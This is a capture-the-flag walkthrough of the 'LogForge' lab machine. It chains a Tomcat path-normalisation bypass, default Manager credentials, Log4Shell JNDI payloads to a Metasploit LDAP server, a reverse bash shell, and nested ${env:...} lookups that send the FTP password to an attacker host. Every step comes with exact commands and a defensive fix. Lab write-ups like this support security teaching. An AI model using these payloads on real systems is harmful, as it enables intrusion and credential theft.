← all walkthroughs

LogForge

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-10-12
time to own
16m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An Apache 2.4.41 front end on port 80 reverse-proxied an internal Apache Tomcat 9.0.31. Apache answered 403 for /manager, but Tomcat treats the path segment /..;/ as /../ while Apache does not, so /anything/..;/manager reached the Tomcat Manager, which accepted a default credential. The Manager's session-expire form passes its idle value through a vulnerable Log4j, so a Log4Shell (CVE-2021-44228) JNDI lookup served by Metasploit's LDAP gadget server returned a reverse shell as the tomcat service user, and user.txt was readable in /home/htb.

Root was running a Java FTP server on port 21 that logs the login name it receives through the same Log4j and holds its credentials in environment variables. Nested ${env:...} lookups in the FTP USER command leaked the account name and password inside outbound LDAP queries, and logging in to that FTP service as ippsec gave read access to /root, where root.txt was downloaded.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Attack path: how the box was taken

1EnumerationService and directory enumeration (T1595)
Mapped ports and web paths and spotted a Tomcat behind the Apache proxy
A port scan showed SSH (OpenSSH 8.2p1) on 22 and Apache 2.4.41 on 80, with 21 (ftp) and 8080 (http-proxy) filtered. The home page, titled "Ultimate Hacking Championship", set a JSESSIONID cookie, a Java servlet container signature behind Apache. A directory brute-force found /admin, /manager, /host-manager and /server-status, all answering 403 from the Apache layer.
21/tcp filtered ftp, 22/tcp open ssh, 80/tcp open http, 8080/tcp filtered http-proxy; gobuster: admin (Status: 403), host-manager (Status: 403), manager (Status: 403), server-status (Status: 403).
Exact commands 4
shell

Add the host alias used in the requests below.

$ echo "$TARGET logforge.htb" | sudo tee -a /etc/hosts
shell

22 and 80 open; 21 and 8080 filtered from outside.

$ nmap -Pn -sV -p21,22,80,8080 $TARGET
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
8080/tcp filtered http-proxy
shell

Server: Apache/2.4.41 (Ubuntu), a JSESSIONID cookie and the page title.

$ curl -ksS -L -D - http://$TARGET/
shell

Admin, host-manager, manager and server-status all return 403.

$ gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -q
FixMake the reverse proxy and Tomcat agree on path handlingHigh
WeaknessApache enforced the /manager block on the raw URL while Tomcat normalized /..;/ differently, so the access restriction could be bypassed and the internal management console reached through the public site.
FixDo not rely on the front-end proxy to hide Tomcat's Manager. Remove the Manager and Host Manager web apps from production, or restrict them in Tomcat itself with a RemoteAddrValve limited to admin IPs. If a proxy must filter, reject requests containing ; in the path and upgrade Tomcat to a current 9.0.x release.
2Initial AccessReverse-proxy path normalization bypass plus default credentials (T1078.001)
Reached the Tomcat Manager through the /..;/ proxy bypass
Apache matched its /manager deny rule against the raw path, while Tomcat normalizes /..;/ to /../. Requesting /anything/..;/manager therefore passed Apache untouched and landed on Tomcat's Manager, which prompted for Basic authentication and accepted Tomcat's well-known default for the tomcat account. The authenticated Manager page reported Apache Tomcat/9.0.31 (Ubuntu). --path-as-is stops curl from collapsing the ..; segment before it is sent.
HTTP/1.1 200 for the Manager page with the tomcat account; the server-info table showed Apache Tomcat/9.0.31 (Ubuntu).
Exact commands 2
shell

Base URL for the Manager through the bypass.

$ MGR='http://logforge.htb/anything/..;/manager'
shell

$PASSWORD is the default Manager password for the tomcat account; expect HTTP 200.

$ curl --path-as-is -sS -i -u "tomcat:$PASSWORD" "$MGR/html"
FixReplace default Tomcat Manager credentialsCritical
WeaknessThe Tomcat Manager accepted the vendor-default password for the tomcat account, so anyone who reached the console was instantly authenticated as an administrator.
FixRemove or rotate every default account in tomcat-users.xml, use long unique passwords stored as digests, grant only the minimum roles (avoid manager-gui), and require network-level restriction (VPN or IP allow-list) for the Manager interface.
3ExploitationLog4Shell JNDI injection, CVE-2021-44228 (T1190)
Confirmed Log4Shell in the Manager's session-expire form
Rather than deploying a WAR, I went for the Manager's session-expire action, whose idle value is written to the application log. The Tomcat process loads its logging from /usr/share/tomcat9/log4j2/lib, a Log4j 2 build that still evaluates ${jndi:...} lookups in logged strings. Posting a JNDI lookup as idle made the server open a TCP connection to a netcat listener on my machine. The backslash before ${jndi stops the local shell from expanding it while still letting $ATTACKER_IP expand.
Listening on [any] 4444 ... Connect to [me] from (UNKNOWN) [target] 46372
Exact commands 2
shell

Catches the JNDI connect-back.

$ nc -lvnp 4444
shell

The request hangs while Java waits on the LDAP connection; the listener shows the inbound connect.

$ curl --path-as-is -sS -o /dev/null -w '%{http_code}\n' -u "tomcat:$PASSWORD" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "idle=\${jndi:ldap://$ATTACKER_IP:4444/}" "$MGR/html/expire?path=/x"
FixPatch Log4j and disable JNDI lookupsCritical
WeaknessTomcat logged through a Log4j 2.x build vulnerable to CVE-2021-44228, which evaluated ${jndi:...} strings in logged input and deserialized externally supplied objects over LDAP, giving remote code execution as the tomcat user.
FixUpgrade Log4j to 2.17.1 or later (2.12.4 / 2.3.2 for older Java baselines) and remove the JndiLookup class if an upgrade is not possible. Also block outbound LDAP/RMI/DNS from servers to the internet, remove com.sun.jndi.cosnaming.object.trustURLCodebase=true from the JVM options, and scan for vulnerable log4j-core JARs.
4FootholdLog4Shell JNDI deserialization to remote code execution (T1059.004)
Turned Log4Shell into a reverse shell as the tomcat service user
Metasploit's log4shell_header_injection module was used for its built-in LDAP server, which answers a JNDI lookup with a serialized CommonsCollections5 gadget that runs the chosen command payload. With the module's own handler disabled, it listened for LDAP on 1390 and a separate netcat listener waited on 10002. Pointing the idle lookup at that LDAP server delivered a reverse bash shell running as tomcat, and user.txt was found in /home/htb.
Id returned uid=997(tomcat) gid=997(tomcat) groups=997(tomcat); the readable-flag search printed PATH=/home/htb/user.txt.
Exact commands 5
shell

Shell listener.

$ nc -lvnp 10002
shell

Leave it running; it serves the gadget to any lookup that reaches port 1390.

$ msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set RPORT 80; set VHOST logforge.htb; set TARGETURI /; set HTTP_HEADER X-Ptest; set TARGET 2; set PAYLOAD cmd/unix/reverse_bash; set JAVA_GADGET_CHAIN CommonsCollections5; set SRVHOST $ATTACKER_IP; set SRVPORT 1390; set LHOST $ATTACKER_IP; set LPORT 10002; set DisablePayloadHandler true; set AutoCheck false; set ForceExploit true; set WfsDelay 180; run"
shell

Returns 200 and the shell lands on 10002.

$ curl --path-as-is --max-time 15 -sS -o /dev/null -w '%{http_code}\n' -u "tomcat:$PASSWORD" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "idle=\${jndi:ldap://$ATTACKER_IP:1390/x}" "$MGR/html/expire?path=/x"
shell

Confirms the tomcat account.

$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
shell

Prints /home/htb/user.txt and its contents (<user.txt>).

$ find / -type f -name user.txt -readable -exec sh -c 'printf "PATH=%s\n" "$1"; cat "$1"' sh {} \; 2>/dev/null
5DiscoveryProcess and network service discovery (T1057)
Found a root-owned Java FTP server on port 21
The process list showed root running java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar, and ss showed a listener on port 21, the port that was filtered from outside. A world-readable copy of the same JAR sat at the filesystem root. This server takes its valid login from the environment variables ftp_user and ftp_password and logs the username it receives through Log4j, which makes the FTP USER command a second Log4Shell injection point that runs as root.
Root 979 ... Java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar; LISTEN 0 50 *:21; -rw-r--r-- 1 root root 2048143 Dec 18 2021 /ftpServer-1.0-SNAPSHOT-all.jar
Exact commands 1
shell

Shows the root-owned FTP process, the port 21 listener and the readable JAR copy.

$ ps auxww | grep -E '[f]tpServer|[j]ava'; ss -lntp; find / -type f -name 'ftpServer-1.0-SNAPSHOT-all.jar*' -ls 2>/dev/null
FixRun the internal FTP service unprivileged and jail it to a data directoryHigh
WeaknessThe internal FTP server ran as root with /root as its working directory, so a single stolen login gave read access to the most sensitive files on the host, including root.txt.
FixRun the service under a dedicated low-privilege account, chroot it to a narrow data directory that excludes /root, bind it to localhost only, and replace the custom FTP daemon with SFTP using key-based authentication if file transfer is genuinely required. Keep the root-run JAR out of world-readable locations such as /.
6Credential AccessLog4j environment-variable exfiltration via JNDI lookup (T1552)
Leaked the FTP service's credentials through nested Log4j lookups
Log4j resolves nested lookups from the inside out, so ${jndi:ldap://host/user:${env:ftp_user}} first replaces ${env:ftp_user} with the variable's value and then sends that value as the LDAP query name. A second Metasploit LDAP listener on 1391 gave the lookups somewhere to go, and tcpdump on my machine captured the query names in clear text. The first attempt leaked the account name ippsec. Lookups placed in the PASS command did not appear in the capture, because only the username is logged, so the password lookup was moved into the USER line, which leaked the password. Inside the reverse shell, set $ATTACKER_IP to the same address before running the printf lines.
220 Welcome to the FTP-Server / 530 Not logged in; the tcpdump capture showed LDAP search names the ippsec user name and its password in clear text.
Exact commands 4
shell

On my machine: an LDAP endpoint for the leak lookups.

$ msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set RPORT 80; set VHOST logforge.htb; set TARGETURI /; set HTTP_HEADER X-Ptest; set TARGET 2; set PAYLOAD cmd/unix/reverse_bash; set JAVA_GADGET_CHAIN CommonsCollections5; set SRVHOST $ATTACKER_IP; set SRVPORT 1391; set LHOST $ATTACKER_IP; set LPORT 10003; set DisablePayloadHandler true; set AutoCheck false; set ForceExploit true; set VERBOSE true; set WfsDelay 600; run"
shell

On my machine: prints the LDAP query names as they arrive.

$ sudo tcpdump -A -nn -i any "src host $TARGET and dst port 1391"
shell

In the tomcat shell: the capture shows user:ippsec.

$ printf 'USER ${jndi:ldap://%s:1391/user:${env:ftp_user}}\r\nPASS x\r\nQUIT\r\n' "$ATTACKER_IP" | nc -w 8 127.0.0.1 21
shell

The password lookup must go in USER; the capture shows pass: followed by the password.

$ printf 'USER ${jndi:ldap://%s:1391/pass:${env:ftp_password}}\r\nPASS x\r\nQUIT\r\n' "$ATTACKER_IP" | nc -w 8 127.0.0.1 21
FixKeep secrets out of process environments and out of logged inputHigh
WeaknessThe root-run FTP service stored its username and password in environment variables and logged untrusted login input through a vulnerable Log4j, so a lookup like ${env:ftp_password} disclosed the live credentials to an unauthorised user.
FixStore secrets in a root-only file or secrets manager rather than environment variables, never log raw user-supplied fields (sanitize or parameterize log messages), set log4j2.formatMsgNoLookups=true, and rotate the exposed credential. Do not reuse the same password for any other account.
7Privilege EscalationValid accounts on an over-privileged service (T1078)
Logged in to the root-run FTP service and downloaded root.txt from /root
With the leaked pair, I authenticated to the FTP server from the tomcat shell. The service runs as root with /root as its working directory, so the session could read root-owned files there. A passive-mode download failed with Connection refused, so the transfer was repeated in active mode, which returned root.txt. The same password did not work for SSH as root, so the access stayed at root-level file read through the FTP service.
Passive mode: ConnectionRefusedError: [Errno 111] Connection refused. Active mode: PWD=/root and the flag contents (<root.txt>).
Exact commands 1
shell

$PASSWORD2 is the leaked FTP password for ippsec; active mode is required on this server.

$ python3 -c "from ftplib import FTP; f=FTP('127.0.0.1'); f.login('ippsec','$PASSWORD2'); f.set_pasv(False); print('PWD='+f.pwd()); b=[]; f.retrbinary('RETR root.txt',b.append); print(b''.join(b).decode().strip()); f.quit()"

Exposed services

22/tcp
80/tcp